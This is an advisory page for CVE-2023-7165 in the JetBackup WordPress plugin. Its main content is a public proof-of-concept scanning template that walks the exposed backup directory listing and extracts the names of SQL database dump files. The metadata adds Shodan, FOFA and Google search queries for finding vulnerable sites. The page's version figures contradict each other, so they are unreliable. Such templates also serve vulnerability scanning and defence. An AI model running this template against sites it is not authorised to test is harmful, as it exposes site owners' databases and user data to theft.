CVE-2023-7165: JetBackup <= 2.0.9.7 - Sensitive Information Exposure via Directory Listing

2026-04-09 JetBackup PoC Public

Description

JetBackup WordPress plugin <= 2.0.9.9 does not use index files to prevent directory listing in certain configurations, letting malicious actors leak backup files, exploit requires access to the web server.

PoC

id: CVE-2023-7165

info:
  name: JetBackup <= 2.0.9.7 - Sensitive Information Exposure via Directory Listing
  author: pussycat0x
  severity: high
  description: |
    JetBackup WordPress plugin <= 2.0.9.9 does not use index files to prevent directory listing in certain configurations, letting malicious actors leak backup files, exploit requires access to the web server.
  impact: |
    Attackers can access and leak sensitive backup files, potentially leading to data exposure and security breaches.
  remediation: |
    Update to version 2.0.9.9 or later that implements index files to prevent directory listing.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/backup/jetbackup-wp-backup-migrate-restore-2097-sensitive-information-exposure-via-directory-listing
    - https://wpscan.com/vulnerability/ad1ef4c5-60c1-4729-81dd-f626aa0ce3fe/
    - https://plugins.trac.wordpress.org/changeset/3016772/backup
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-7165
    cwe-id: CWE-548
    cpe: cpe:2.3:a:developer177:jetbackup:*:*:*:*:*:wordpress:*:*
    epss-score: 0.01915
    epss-percentile: 0.78809
  metadata:
    verified: true
    max-request: 2
    vendor: jetbackup
    product: jetbackup
    framework: wordpress
    publicwww-query: "/wp-content/plugins/backup/"
    fofa-query: body="/wp-content/plugins/backup/"
    google-query: inurl:"/wp-content/uploads/jetbackup/"
    shodan-query: http.html:"/wp-content/plugins/backup/"
  tags: cve,cve2023,wordpress,wp-plugin,jetbackup,wp,unauth

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/uploads/jetbackup/"

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Index of","jetbackup")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: folder_name
        part: body
        group: 1
        regex:
          - 'href="([^"]*_D\d{14}[^"]*)/"'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/uploads/jetbackup/{{folder_name}}/"

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, ".sgbp")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        name: database_dump
        part: body
        group: 1
        regex:
          - 'href="([^"]+_database\.sql)"'
# digest: 4b0a00483046022100a0b6b00b6eea4d872ecb17ddb742224b7bfc670b9aefbb5c28445859028fa6d2022100a01967cbff6a887802b1931af1ba9bb202ab5caf60fabe9fa1b446a689b5b0c5:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities